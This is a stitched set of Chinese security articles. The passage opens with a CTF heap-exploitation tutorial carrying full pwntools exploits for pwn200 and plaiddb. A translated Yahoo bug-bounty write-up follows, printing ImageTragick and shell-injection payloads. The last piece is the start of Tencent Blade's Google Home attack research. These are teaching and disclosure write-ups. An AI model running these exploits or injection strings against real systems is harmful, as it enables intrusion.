free（但是chunk之间是包含关系）的效果。此时我们申请的超长chunk_d就可以控制chunk_b2的内部数据。之后可以结合fastbin_attack或者house技术来完成利用。
## 0x03 案例分析
### L-CTF2016 pwn200（利用场景1）
2016L-CTF的pwn题，解题思路不唯一，但这题是一个学习house of spirit的好案例。
[下载地址](https://pan.baidu.com/s/1kVIyYer)
**分析**
本题少见的NX是关掉的题目，通过Hose of spirit的在栈空间申请一个fake chunk，实现栈中的越界读写。
gef➤ checksec
[+] checksec for '/home/p0kerface/Documents/house of spirit/pwn200'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : Partial
**存在两个漏洞点**
* 出存在一个off by one。写入48个字节，v2字符串会缺少x0结尾，就可以造成越界读取栈底（RBP）的值。
int sub_400A8E()
{
signed __int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h]
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 'x01');
if ( v2[i] == 'n' ) //为字符串添加 x0 结尾
{
v2[i] = '';
break;
}
}
printf("%s, welcome to xdctf~n", v2);
puts("give me your id ~~?");
read_option();
return sub_400A29();
}
将shellcode作为48字节的一部分写入v2数组，同时通过EBP地址可以计算出shellcode_addr(v2数组起始地址)。内存状态如下图所示。
p.recvuntil("who are u?n")
p.sendline(shellcode.ljust(48,"x00"))
p.recv(48)
shellcode_addr=u64(p.recv(6).ljust(8,"x00"))-0x50
print "Shellcode address="+hex(shellcode_addr)
gef➤ x/30xg 0x7ffc8932e210-0x50
0x7ffc8932e1c0: 0x0000000000000009 0x00000000004008b5 <--RIP
0x7ffc8932e1d0: 0x0000000000003233 0x0000000001db8010
0x7ffc8932e1e0: 0x00007ffc8932e240 0x0000000000400b34
0x7ffc8932e1f0: 0x00007f42d1d0c8e0 0x00007f42d1f1f700
0x7ffc8932e200: 0x0000000000000030 0x0000000000000020 <--id
0x7ffc8932e210: 0x6e69622fb848686a 0xe7894850732f2f2f <--v2[] <--shellcode
0x7ffc8932e220: 0x2434810101697268 0x6a56f63101010101
0x7ffc8932e230: 0x894856e601485e08 0x050f583b6ad231e6
0x7ffc8932e240: 0x00007ffc8932e260 0x0000000000400b59
0x7ffc8932e250: 0x00007ffc8932e348 0x0000000100000000
0x7ffc8932e260: 0x0000000000400b60 0x00007f42d1968830 <--RIP(left)
* 写入0x40个字节，但是buf只有0x38字节，超出的字节会覆盖dest，即能够修改ptr指针。我们可以着手布置我们的fake chunk。
int sub_400A29()
{
char buf; // [rsp+0h] [rbp-40h]
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, &buf, 0x40uLL);
strcpy(dest, &buf);
ptr = dest;
return case();
}
写入money的函数（sub_400A29）是在写入id的函数（sub_400A8E）内调用的，也就是说`char buf; // [rsp+0h]
[rbp-40h]`在id的低位置处，两者中间存在sub_400A29函数的RIP和RBP。所以我们可以通过id和buf分别模拟一个fake
chunk的size和next size，就能伪造一个chunk。（如下图所示）
gef➤ x/40xg 0x7ffe5ce04cf0-0x90
0x7ffe5ce04c60: 0x0000000000000000 0x0000000202070168
0x7ffe5ce04c70: 0x00007ffe5ce04cc0 0x0000000000400a8c <--RIP
0x7ffe5ce04c80: 0x0000000000000000 0x0000000000000000
0x7ffe5ce04c90: 0x0000000000000000 0x0000000000000000
0x7ffe5ce04ca0: 0x0000000000000000 0x0000000000000041 <--size of fake chunk (buf[5])
0x7ffe5ce04cb0: 0x0000000000000000 0x00007ffe5ce04cb0 <--ptr --> fake chunk
0x7ffe5ce04cc0: 0x00007ffe5ce04d20 0x0000000000400b34 <--RIP
0x7ffe5ce04cd0: 0x00007fc301e438e0 0x00007fc302056700
0x7ffe5ce04ce0: 0x0000000000000030 0x0000000000000020 <--next size of fake chunk (id)
0x7ffe5ce04cf0: 0x6e69622fb848686a 0xe7894850732f2f2f <--shellcode
0x7ffe5ce04d00: 0x2434810101697268 0x6a56f63101010101
0x7ffe5ce04d10: 0x894856e601485e08 0x050f583b6ad231e6
0x7ffe5ce04d20: 0x00007ffe5ce04d40 0x0000000000400b59
0x7ffe5ce04d30: 0x00007ffe5ce04e28 0x0000000100000000
0x7ffe5ce04d40: 0x0000000000400b60 0x00007fc301a9f830
实现代码
p.recvuntil("give me your id")
p.sendline("32") # next size
p.recvuntil("give me money")
fake_chunk=shellcode_addr-0x40
p.sendline(p64(0)*5+p64(0x41)+p64(0)*1+p64(fake_chunk)) #布置fake chunk
p.sendline("2") #free(ptr)
调用free之后，我们成功将栈中的fake chunk并入fastbin。
gef➤ heap bins fast
─────────────────────[ Fastbins for arena 0x7fc301e43b20 ]─────────────────────
Fastbin[0] 0x00
Fastbin[1] 0x00
Fastbin[2] → FreeChunk(addr=0x7ffe5ce04cb0,size=0x40)
Fastbin[3] 0x00
Fastbin[4] 0x00
Fastbin[5] 0x00
Fastbin[6] 0x00
Fastbin[7] 0x00
Fastbin[8] 0x00
Fastbin[9] 0x00
之后的操作只需要再申请回来，就能修改sub_400A29的EIP，修改EIP为shellcode。只需要check_out，退出栈的时候就会触发shellcode。
p.sendline("1") # malloc(0x38)
p.recvuntil("your choice : how long?")
p.sendline("50")
p.recvuntil("give me more money :")
p.sendline(p64(0)*3+p64(shellcode_addr)) # overflow EIP
p.sendline("3") #break
完整的Exp
#! /usr/bin/python
from pwn import *
p=process("./pwn200")
#context.log_level='Debug'
#gdb.attach(p,"b *0x400a8e")
shellcode=asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
p.recvuntil("who are u?n")
p.send(shellcode.ljust(48))
p.recvuntil(shellcode.ljust(48))
shellcode_addr=u64(p.recv(6).ljust(8,"x00"))-0x50
print "Shellcode address="+hex(shellcode_addr)
p.recvuntil("give me your id")
p.sendline("32")
p.recvuntil("give me money")
fake_chunk=shellcode_addr-0x40
p.sendline(p64(0)*5+p64(0x41)+p64(0)*1+p64(fake_chunk))
p.sendline("2")
p.sendline("1")
p.recvuntil("your choice : how long?")
p.sendline("50")
p.recvuntil("give me more money :")
p.sendline(p64(0)*3+p64(shellcode_addr))
p.sendline("3")
p.interactive()
### 2015 Plaiddb（利用场景2）
[下载地址](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb)
[完整分析](https://migraine-sudo.github.io/2019/12/25/AFL-FUZZ/)
Plaiddb存在一个Off By one的漏洞，该漏洞能创造两个重叠的chunk（一个长一个短）。
同样，这道题也需要使用Off by one和House of spirit结合，不过在这里该漏洞的目的是在一段完全可控的内存中创建一个fake
chunk，然后实现fastbin attack。
#### OFF BY ONE部分
通过off by one来制造double free漏洞
off_by_one可以覆盖掉下一个chunk的size的最低byte
1.使得下个chunk的size变小
2.使得pre_inuse bit被改为0
下一个chunk被free掉时，会和前一个chunk合并（如果前一个chunk是free的话，即pre_inuse为0），前一个chunk由当前写入的prevsize（可控，chunk的头8个字节）来指定。通过控制pre
size可以合并一个非常大的chunk，导致double free。
首先构造堆的结构，为后面的地址泄漏最好备案。
这里给出笔者的布置的结构，这个结构并不唯一，并且不一定是最优解，读者可以将其作为参考。
PUT("a"*8,128,'A'*128)
PUT("b"*8,2,'B')
PUT("c"*8,2,'C')
PUT("b"*8,248,'B'*248) #为Tree B重新申请data空间
PUT("c"*8,280,'C'*248+p64(0x21)+'C'*24) #为Tree C重新申请data空间
#以上步骤是为了让B和C的data部分相邻
#C的data部分构造是为了防止 next size check #invalid next size (normal) 的check
#因为off by one 会导致 size最后一位被覆盖为0 ，所以data部分的大小会变小，需要构造一个fake结构来绕过检查。（详见glibc 源代码）
#### House of Spirit部分
House of Splrit + Fastbin attack
其实如果一开始堆块构造的合理，可以通过覆盖真实的fastbin堆块来实现。因为之前按照写下来时候没有注意到，所以这里只能结合House of
Spirit来，通过释放伪造堆块，来实现fastbin attack。
do_DEL部分代码,因为我们拥有一个可控chunk（LEAK
BUF），所以可以通过修改data/rowkey指针来free掉我们布置在堆内的fakechunk
free(TreeNode);
free(*(void **)(TreeNode->data));
free(TreeNode->rowkey);
free(v1);
return puts("INFO: Delete successful.");
**实现代码**
#House of Spirit
fake_chunk=HEAP_ADDR+0x2f0
one_gadget=0xe58c5+LIBC_ADDR
address=LIBC_ADDR+0x3BE740-35#address=0x66666666
PUT("KEY1",1000,"A"*1000)
PUT("KEY1",1000,KEY1[1:289]+p64(fake_chunk)+KEY1[297:369]+p64(0)+p64(0x70)+p64(0x70)*16+KEY1[513:]) #0x70 to pass the fast bin next chunk check
DEL("LEAKBUF")
GET("KEY1")
p.recvuntil(" bytes]:")
KEY1=p.recv(1000)
#PUT("KEY1",1000,"A"*1000)
DEL("KEY1")
PUT("KEY1",1000,KEY1[1:385]+p64(address)+KEY1[393:])
测试数据address=0x6666666成功修改fastbin链的头
x/20xg 0x7ffff7dce768
0x7ffff7dce768: 0x0000000066666666 0x0000000000000000
0x7ffff7dce778: 0x0000555555758270 0x0000000000000000
#### Get Shell
#fastbin attack
PUT("Fill",0x60,"F"*0x60)#malloc fake_chunk
PUT("Fill2",0x60,"F"*(35-16)+p64(one_gadget)+"F"*(0x60-(35-16)-8)) #any address write
DEL("GetSHELL")
将ASLR开启，运行脚本成功get shell
**完整的EXP**
from pwn import *
p=process("./plaiddb2")
bin=ELF("./plaiddb2")
libc=ELF("libc.so.6")
#context.log_level='Debug'
#gdb.attach(p)
def PUT(row_key,size,data):
p.recvuntil("PROMPT: Enter command:")
p.sendline("PUT")
p.recvuntil("PROMPT: Enter row key:")
p.sendline(row_key);
p.recvuntil("PROMPT: Enter data size:")
p.sendline(str(size))
p.recvuntil("PROMPT: Enter data:")
p.sendline(data)
def GET(row_key):
p.recvuntil("PROMPT: Enter command:")
p.sendline("GET")
p.recvuntil("PROMPT: Enter row key:")
p.sendline(row_key)
#p.recvuntil(" bytes]:")
#data=p.recv(size)
#return data
def DEL(row_key):
p.recvuntil("PROMPT: Enter command:")
p.sendline("DEL")
p.recvuntil("PROMPT: Enter row key:")
p.sendline(row_key)
PUT("d"*8,2,'D')
PUT("a"*8,128,'A'*128)
PUT("b"*8,2,'B')
PUT("c"*8,2,'C')
PUT("b"*8,248,'B'*248)
PUT("c"*8,280,'C'*248+p64(0x21)+'C'*24) #for next size check #invalid next size (normal)
#off by one --> (size--) -->(next chunk address++)
DEL("b"*8)
DEL('X'*240+p64(752)) #240+8=248 <--!off by one
DEL("a"*8)
DEL("c"*8)
DEL("d"*8)
PUT("KEY1",1000,("K"*264+p64(64)+p64(0)+"K"*48+p64(33)+p64(0)+"K"*24+"KEY1x00").ljust(999,"x01")) # <--cause unlink
PUT("LEAKBUF",8,'LEAKBUF')
DEL("123")#Avoid next chunk size check
GET("KEY1")
p.recvuntil(" bytes]:")
KEY1=p.recv(1000)
#print "KEY1="+str(KEY1)
#LEAK HEAP
LEAK_HEAP=u64(KEY1[273:280].ljust(8,"x00"))
HEAP_ADDR=LEAK_HEAP-0xf0
print "HEAP_ADDR="+hex(HEAP_ADDR) #TreeNode->row_key-offset
#LEAK FUNCTION
def LEAK(addr):
size=0x100
PUT("KEY1",1000,"A"*999)
PUT("KEY1",1000,KEY1[1:281]+p64(size)+p64(addr)+KEY1[297:])
return GET("LEAKBUF")
LEAK(HEAP_ADDR+0x588)
p.recvuntil("bytes]:")
LEAK_ADDR=p.recv(0x100)
LIBC_ADDR=u64(LEAK_ADDR[1:8].ljust(8,"x00"))-0x3be7b8
print "LIBC_ADDR="+hex(LIBC_ADDR)
#House of Spirit
fake_chunk=HEAP_ADDR+0x2f0
one_gadget=0xe58c5+LIBC_ADDR
address=LIBC_ADDR+0x3BE740-35#address=0x66666666
PUT("KEY1",1000,"A"*1000)
PUT("KEY1",1000,KEY1[1:289]+p64(fake_chunk)+KEY1[297:369]+p64(0)+p64(0x70)+p64(0x70)*16+KEY1[513:]) #0x70 to pass the fast bin next chunk check
DEL("LEAKBUF")
GET("KEY1")
p.recvuntil(" bytes]:")
KEY1=p.recv(1000)
#PUT("KEY1",1000,"A"*1000)
DEL("KEY1")
PUT("KEY1",1000,KEY1[1:385]+p64(address)+KEY1[393:])
#fastbin attack
PUT("Fill",0x60,"F"*0x60)#malloc fake_chunk
PUT("Fill2",0x60,"F"*(35-16)+p64(one_gadget)+"F"*(0x60-(35-16)-8)) #any address write
DEL("GetSHELL")
p.interactive()
## 参考文献:
[1]plaid ctf 2015 plaiddb.0x3f97
[https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/[OL/DB],2018-1-27](https://0x3f97.github.io/pwn/2018/01/27/plaidctf2015-plaiddb/%5BOL/DB%5D,2018-1-27)
[2]Plaid CTF WriteUP.angelboy
[http://angelboy.logdown.com/posts/262325-plaid-ctf-2015-write-up%5D[OL/DB],2015-4-28](http://angelboy.logdown.com/posts/262325-plaid-ctf-2015-write-up%5D%5BOL/DB%5D,2015-4-28)
[3]how2heap.Mutepig[http://blog.leanote.com/post/mut3p1g/how2heap[OL/DB](http://blog.leanote.com/post/mut3p1g/how2heap%5BOL/DB)] | 社区文章 |
# 【技术分享】如何通过命令注入漏洞搞定雅虎子公司的生产服务器
##### 译文声明
本文是翻译文章，文章来源：samcurry.net
原文地址：<http://samcurry.net/how-i-couldve-taken-over-the-production-server-of-a-yahoo-acquisition-through-command-injection/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
时间回到5月20日的那天晚上，在这之前，我花了好几天的时间研究了雅虎的Messenger应用，依然无法搞清它的工作原理，同时烦人的头痛和脖子疼痛又找上了我。因此我决定出去走走，找找新的目标。然后我注意到某件非常有趣的事情，那就是名为Sean的某个研究人员在参与雅虎的Bug奖励计划时，因为[测试行为](https://seanmelia.files.wordpress.com/2016/02/yahoo-remote-code-execution-cms1.pdf)超出了雅虎的允许界限而被列入黑名单。
回到屋内后，我与好友Thomas（dawgyg）做了一番交流，我们一致认为可以再研究一下Sean被列入黑名单之前测试的那个应用。
**二、步骤1：侦察踩点**
Sean的目标是被雅虎收购的一些子公司，在他写的那份白皮书中，这些公司所使用的域名包括：
*.mediagroupone.de
*.snacktv.de
*.vertical-network.de
*.vertical-n.de
*.fabalista.com
虽然上面有不少域名，但在Sean的报告中，主要针对的是SnackTV的内容管理系统。我和Thomas决定重复Sean使用的方法，并以SnackTV的www站点为目标，这样做的原因在于Thomas已经在这个站点上花了一定时间，同时也找到了一些XSS盲打漏洞。这个站点与其他站点有所不同，原因有两点：（1）这是个德国公司，（2）这是为视频制作者准备的开发者网站，并不是为普通的雅虎用户准备的。
上图是SnackTV的搜索页面。很明显这是一个视频网站，但用户注册必须经过管理员的人工审查，因此我们无法直接访问该网站的上传面板。
正当Thomas正在忙于自动化扫描这个网站时，我花了些时间来培养与这个应用的感觉（理解某些事物不正常反应的基础通常是能够理解它们的正常反应是什么）。
**三、步骤二：扫描**
在挖掘这个应用的脆弱性时，我和Thomas都在做的事情就是运行与这个特定应用有关的后台任务。我使用了“subbrute”以及“dirsearch”这两个被动识别脚本，目的在于（1）挖掘直接漏洞以及（2）探测可能存在漏洞的内容。理解如何使用这些工具可以帮助渗透测试人员挖掘漏洞。
花了很长时间运行这些工具后，我们收获了大量的输出，但对我们的帮助并不大。这些输出信息中大多数都是标准的错误信息，比如访问“.htpasswd”时出现的HTTP
403错误、“admin”页面无法直接访问被重定向到登陆页面等。然而，使用“dirsearch”脚本经过大量关键词列表匹配后，最终我们的确收获了一个脆弱点。
存在问题的文件名为“getImg.php”，该文件位于“imged”目录中（http://snacktv.de/imged/getImg.php）。经过一番查找，我们发现通过Google搜索“site:snacktv.de
filetype:php”能公开访问这个文件。这个步骤很重要，因为存在漏洞的这个文件需要GET参数才能返回内容。我们可能需要花费数周时间才能暴力破解或者猜测出正确的GET参数，我猜没有人愿意这么做，因为这些参数通常还需要与另外一个参数配合才能执行正确的查询请求。
GET参数的典型逻辑处理流程如下所示：
1、访问“http://example.com/supersecretdevblog.php”：返回HTTP
500内部服务器错误，表明我们必须提供参数才能查看内容。
2、访问“http://example.com/supersecretdevblog.php?page=index&post=1”：返回HTTP
200响应，表明参数正确，有可能会返回敏感信息。
目前为止，我们知道的信息包括：
1、“getImage.php”文件需要多个HTTP
GET参数，如果我们通过“imgurl”参数提供一个图像的链接地址，那么这个文件就会根据这个地址自动下载一个被修改过的图片。
2、根据Google搜索暴露的参数，我们知道这个文件与ImageMagick的裁剪函数有关。
**四、步骤3：漏洞访问及逻辑逃逸限制**
当挖掘出这些信息后，我们想到的第一点就是“ImageTragick”漏洞（CVE-2016-3714），我们决定发送几个测试载荷试试。
我和Thomas花了几个小时的时间，构造包含漏洞载荷的图片文件。漏洞利用的原理就是利用热点图片文件（即包含载荷的图片文件），服务器会使用
“ImageMagick”命令行工具处理这个图片文件，由于这个工具过滤不严格，导致处理过程中存在任意命令执行漏洞。然而我们的载荷没有一个成功，这让我们有点灰心丧气。我们怀疑他们是否已经针对这种载荷文件打上了补丁。
我们发往服务器的载荷样例如下所示。图片地址使用的是我们的私人域名，将载荷上传到服务器后，我们通过“imageurl”参数获取服务器上的载荷图片。我们的目标是使服务器执行一条任意命令。请注意其中“xlink:href”所指向的图片地址。
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"; xmlns:xlink= "http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg>
除了服务器在处理文件所属的URL地址上有点奇怪之外，一切都很正常。我们向服务器发送了一些随机的文本文件，服务器返回的数据总是与上一次调用相同。我们仔细阅读了“ImageMagick”相关资料，结合漏洞披露细节，我们发现服务器似乎不存在这个漏洞，也有可能服务器没有使用ImageMagick。我们暂缓攻击这个文件，决定看一下网站是否存在其他漏洞。
大约在凌晨3:30时，我们发现了几个存储型跨站脚本漏洞、HTTP
401响应注入漏洞以及常见的管理不当问题，但这些都不是关键问题。当你在参与bug奖励计划、特别是对某个子公司进行测试时，这些问题的奖金通常会大幅缩水，因为这些问题的影响非常低。在某些人眼里，拿到打折的奖金还是可以接受，但对其他人而言这只是在浪费时间。以被收购的子公司为目标的唯一好处在于，许多人在这些目标上会放松安全警惕性。
重新回到URL地址后，我变得有些烦躁，开始怀疑服务器在处理图片文件的具体实现。如果雅虎没有将图片作为一个整体来处理，而是采用将URL注入到XML中的“image
xlink:href”的处理方式呢，这种方式与漏洞PoC中的情况类似。那么我需要尝试哪种载荷才能验证我的猜想？
我在浏览器的地址中附加了一个额外的双引号，然后看到了一些有趣的输出信息，如下所示：
请求：
GET /imged/getImg.php?imageurl=" HTTP/1.1
Host: snacktv.de
Connection: close
Upgrade-Insecure-Requests: 1
服务器响应：
By default, the image format is determined by its magic number.
To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image)...
... or specify the image type as the filename suffix (i.e. image.ps). Specify file as - for standard input or output.
我之所以使用这个请求，是因为在之前的PoC所使用的XML文件中，我们是在URL实体上使用了双引号（可能单引号也可以）。如果我们向服务器发送一个双引号，就可以迫使服务器跳出这个逻辑处理区域，然后获取服务器上写入命令位置的写权限（参考前文引用的PoC）。
看来服务器的确使用了ImageMagick！在某种程度上，我是否打破了服务器的执行流程呢？这是否就是命令行的输出？我应该接着发送更多请求。
请求：
GET /imged/getImg.php?imageurl=";ls HTTP/1.1
Host: snacktv.de
Connection: close
Upgrade-Insecure-Requests: 1
服务器响应：
By default, the image format is determined by its magic number.
To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image)...
... or specify the image type as the filename suffix (i.e. image.ps). Specify file as - for standard input or output.
[redacted]
[redacted]
index.php
getImage.php
[redacted]
[redacted]
我之所以发送上述字符串，就是想逃出第一条命令的逻辑处理范围。在Linux环境中，你可以将分号附加到最开始的命令中，然后再添加第二个命令。这对攻击者来说非常有用，因为它可以允许攻击者在预设的内容外执行命令。
此时我非常兴奋，这是我渗透测试生涯中第一次搞定命令注入漏洞。在这之前，我认为使用引号或者分号来实现命令注入是一种幼稚的想法，但现在我已经完全改变了这个观点。
我通过HackerOne的bug奖励计划向雅虎提交了这个漏洞，不久之后（24小时以内），我就收到了漏洞响应，并且漏洞已经被顺利修复。
**五、总结**
你是不是还想看步骤4？不不不，我们是有职业操守的黑客，要牢记这一点 🙂
搞定SnackTV之后，我意识到不完美的逻辑实现将会带来何种严重的后果。目标服务器不会受到通用的ImageTragick漏洞影响，因为它没有遵循标准的格式，而是使用类似的自定义处理格式。如果你在测试中无法确定目标是否存在漏洞，你可以尝试换个思路，从根源上查找漏洞攻击方法，思考漏洞接受什么输入、什么情况下会触发漏洞、你能输入的数据最长可以多长、服务器返回的响应会有什么不同等等。
在雅虎的这种大型应用上花费这么多精力显然是值得的，特别感谢dawgyg在百忙中与我一起测试。
顺便说下，漏洞奖励为3,000美元，漏洞的CVSS评分为9.9分。 | 社区文章 |
**作者：** 「Tencent Blade Team」 **Leonwxqian & Xbalien & Nicky**
**公众号：腾讯安全应急响应中心<http://https://mp.weixin.qq.com/s/4kO3pU_tCDZmgj2CkROzMg>**
### **0x01 前言**
智能音箱是近几年最热门的智能设备，在销量的暴涨背后，各种智能音箱“偷听”的新闻也让人们非常担心智能音箱会泄露自己的隐私，而在2018年初Tencent
Blade
Team把关注点放在了智能音箱自身的安全漏洞上，当时国外的苹果，谷歌，亚马逊，以及国内的阿里巴巴，百度，小米均已加入了这个战场发布了各自的智能音箱产品，团队选取当时全球用户最多，破解难度最高的Amazon
Echo，Google
Home，小米AI音箱作为研究目标，耗时近一年时间完成了对这三款智能音箱的远程无接触式破解（静默窃听/RCE/ROOT）并协助厂商完成了漏洞修复。
### **0x02 概述**
Google Home是Google在2017年发布的系列智能音箱产品，在全球拥有超过5000万用户，销量仅次于Amazon Echo系列智能音箱。
在本文中，我们将分享Tencent Blade Team在2018年下半年利用多个漏洞远程攻破Google Home音箱实现远程代码执行的研究成果。
Google Home音箱采用精简版Chrome OS作为操作系统，这一系统之前普遍使用在Google
Chromecast产品中，研究资料较少，同时系统特性相比市面上其它基于Linux和Android系统的智能音箱存在着不少差异，所以破解难度更高，Google
Home与Amazon Echo都是这两年Mobile Pwn2own的奖金最高的IoT比赛项目。
### **0x03 固件提取与分析**
Google Home的系统固件并未公开下载，但Google遵循开源协议公开了Google Home音箱系统部分源代码资料，如下图，可以看到包含Google
Home/Chromecast系列设备固件的信息，包括Bootloader、Kernel以及系统部分二进制程序等，甚至还包括带符号的.o文件，这些文件能够帮助我们快速了解Google
Home/Chromecast系列的设备的概况。
此外Google
Home在其OTA流程中虽然通过HTTPS请求检测是否存在新版本，但使用了HTTP的方式下载固件，所以当云端有新版本固件推送，设备下载更新包时可以通过局域网嗅探抓包的方式拿到固件（最佳时机是新设备第一次联网时）。
除了抓包获取固件外，我们后期分析代码发现也可以主动模拟设备更新请求，获取不同设备最新的更新包。通过如下图中的CURL命令就能够获取，需要在请求中填入合适的设备版本以及对应产品的代号。
以上三种方法使我们可以比较方便的获得Google
Home的部分系统文件，但如果我们需要获得完整固件或者尝试通过修改系统文件的方式搭建漏洞调试环境，最快速及暴力的方法的还是从硬件下手，由于整个Google
Home系列产品硬件几乎类似，我们以Google Home mini为例进行拆解，发现其使用了Marvell的Amada系列主控，以及东芝的NAND
Flash芯片。
在简单尝试未发现主板存在烧录/调试接口后，我们使用热风枪将Flash芯片焊下，选择直接使用编程器读取Flash芯片中的固件。通过对比芯片的datasheet我们发现此芯片使用BGA67的封装方式，BGA的芯片封装方式在小型智能设备上很常见，不过由于我们没有找到适合BGA67的转接座将芯片测试座（如下图）导出的接口直接连接到编程器，所以我们需要使用飞线连接或设计一个新的转接座。
由于从测试座直接人工焊接飞线难度过高（焊点间距不到1mm），我们选择了使用PCB设计软件自己设计一个转接座并转由淘宝PCB制板厂商生产了一块样板。
此时我们可以将Flash转接座与RT809H编程器连接，并直接提取整个Flash芯片原始数据。
不同自带主控的EMMC芯片，我们从NAND
Flash芯片中提取的是原始Flash数据，还需要对其中的OOB数据及ECC校验位进行处理，最终才能解析出正确的文件系统与数据。
以下就是Google Home的完整系统目录：
在对获取的固件包以及公开资源进行分析后，我们发现在整个Google
Home的启动流程中，Bootloader、boot.img以及system.img，都是需要通过安全校验才能加载的：
Bootloader和boot.img使用的签名方式相同，采用SHA256+RSA签名实现;在Bootloader正常流程中没有提供解锁的逻辑，只有签名验证通过才会加载boot.img;
除此之外，Google Home还对system.img进行验证。主要通过内核启用了Dm-verity验证机制，极大增加了通过硬件方法修改system.img完成实现root的难度。
在少数的系统程序中，最核心的cast_shell可以认为就是一个Chrome浏览器，这个进程同时也受沙箱机制的保护。
在Chrome OS上，沙箱机制主要涵盖setuid，user namespace 和seccomp-bpf。除此之外，在利用缓解措施方面，系统也启用了ASLR机制，cast_shell程序也包含了NX和Stack Canary。
### **0x04 Google Home攻击面**
网络通信上，Google Home开放了多个端口，其中包含端口8008。这是HTTP服务器，方便用户在局域网内向Google
Home进行基本命令操作。若路由器开启了UPnP Forwarding，则有可能将局域网扩展到互联网，之前在youtube的网站上热传的Cast
Hack就是此原理进行批量远程攻击。8009端口主要是Google CAST 协议通信端口，采用TLS和protocol
buffer封装，我们发现CAST协议能够远程将任意页面推送到Google Home的cast_shell中访问，这得我们可以将攻击Google
Home转换为攻击Chrome浏览器；
无线协议上，Google Home使用的是Marvell的芯片，关于Marvell Wi-Fi , BLE固件攻击的思路都可以进行尝试。在去年的Zero
Nights会议上，就有关于Marvell Wi-Fi固件的攻击方法。
另外，效仿由HubCap（通过Bootloader
Usb协议处理的漏洞完成Chromecast的root），挖掘Bootloader里的漏洞也是可以尝试的思路。
### **0x05 Google Cast协议暗藏的风险**
在上节我们提到了CAST协议，在架构上Google
CAST协议包括Sender和Receiver。Sender可以是移动设备或者Chrome，而Receiver则是加载了CAST
APP的接收设备，例如Google Home就是一个Receiver。
先来介绍CAST APP的加载流程，正如下图所示：
当用户通过Sender（移动设备或者Chrome）访问了Sender
Application时，便会通过CAST协议寻找局域网内的Receiver并与之通信，接着Receiver会去CAST
APP市场拉取指定的APP链接并通过cast_shell加载访问。
在这个过程中，我们发现CAST协议存在着以下安全风险，这些风险将是后续攻击Google Home的关键所在：
1. CAST APP可以是任何网页。若给定的CAST APP是恶意的网页，Google Home仍会访问它；
2. CAST应用商店中的应用可能是恶意的。当攻击者注册为CAST开发者后就可上传CAST应用，并且看起来并未经过严格审核，很快就可以发布并上线；
3. 局域网内，Sender可以直接发送CAST协议，甚至不需要用户交互。
综合以上几点安全风险，可以巧妙的把攻击Google Home转换为对浏览器的攻击。具体的攻击过程大致为以下思路：
1. 攻击者欺骗用户通过Chrome浏览器或移动设备访问Sender Application。通过SENDER URL触发CAST协议让Google Home访问CAST RECEIVER URL（CAST APP链接地址）;
2. 若攻击者和Google Home位于同一个局域网，攻击者还可以直接与端口8009进行CAST协议交互（例如发送LAUNCH APP请求），直接触发Google Home访问CAST RECEIVER URL。
3. 更糟糕的是，若用户家中的路由器打开UPnP Forwarding，攻击者也可以在互联网上完成远程静默攻击。
下图为CAST APP的发布界面与局域网触发CAST协议交互的代码：
### **0x06 Magellan漏洞详情**
在确定了利用CAST协议作为我们的远程攻击入口后，我们开始对Google
Home中的核心程序cast_shell（Chrome浏览器）进行了漏洞审计，经过一段时间的研究我们在Chrome浏览器核心组件sqlite3中发现了多个高风险0day漏洞，我们把这组漏洞命名为Magellan。
Magellan漏洞对所有平台(Android、Chrome
OS、Windows、Linux、Mac)上的Chrome、Webview都会产生影响。包括使用Webview的产品，如Android
App内嵌webview网页浏览功能的APP，或使用sqlite3的客户端与服务器软件，如Apache+PHP等。
在下面的部分我们将介绍Magellan漏洞的相关细节。
**6.1 CVE-2018-20346**
fts3扩展中的`merge`操作可能允许攻击者泄漏堆数据或导致堆缓冲区溢出。
* 表结构而言，fts3和fts4非常相似，在Chrome中关闭了fts4。
* fts3和fts4都有一些表来存储节点信息。
* sqlite不禁止用户修改(CREATE，INSERT，DELETE)这些表(%_SEGMENTS，%_SEGDIR，%_STAT)的数据。
* fts4与fts3共享很多代码分支，可以通过添加一些特殊的内置表(如%_stat)来激活。
* sqlite3使用assert()进行条件检查，但当Google构建Chrome时，assert变为void()，因为它不是debug版本。
因此，Google Chrome的发布版本中缺少许多关键条件检查，sqlite3中也会发生同样的事情。
* 当我们伪造一些关键的内置表和记录，并调用`merge`函数时，该函数会从攻击者控制的内存区读取数据，并执行memcpy操作，从而导致一些堆相关问题。
通过下面的代码，我们可以触发漏洞：
首先，我们尝试通过nodeReaderInit→nodeReaderNext读取错误的值nDoclist(由攻击者控制)。
然后，将恶意的nDoclist值传递给fts3AppendToNode，我们可能会在这两个地方导致堆缓冲区溢出：
在我们的攻击中，我们选择使用第二个点，因为它更稳定和易于使用。
nDoclist和aDoclist是可控制的，pNode->a和pNode->n也可以由我们调整，因此我们可以做堆风水。
**6.2 CVE-2018-20505**
fts3扩展中的fts3ScanInteriorNode(`match`)可能允许攻击者泄漏堆数据或导致堆缓冲区溢出。
简单介绍要利用的步骤：
1. 将%_segdir中的节点设置为不是根节点。
2. 修改节点的BLOB数据。
3. 调用`match`触发攻击。
有漏洞的函数如下：
1.函数fts3GetVariant32，该函数最多返回0x7fffffff的整数(输入数据为Little-endian，输入ff ff ff ff
07将产生输出0x7fffffff)。
代码将从BLOB(zNode)中提取nPrefix和nSuffix，BLOB可由攻击者控制。
2.第一次检查，将检查zCsr+nSuffix-1是否超过zEnd。
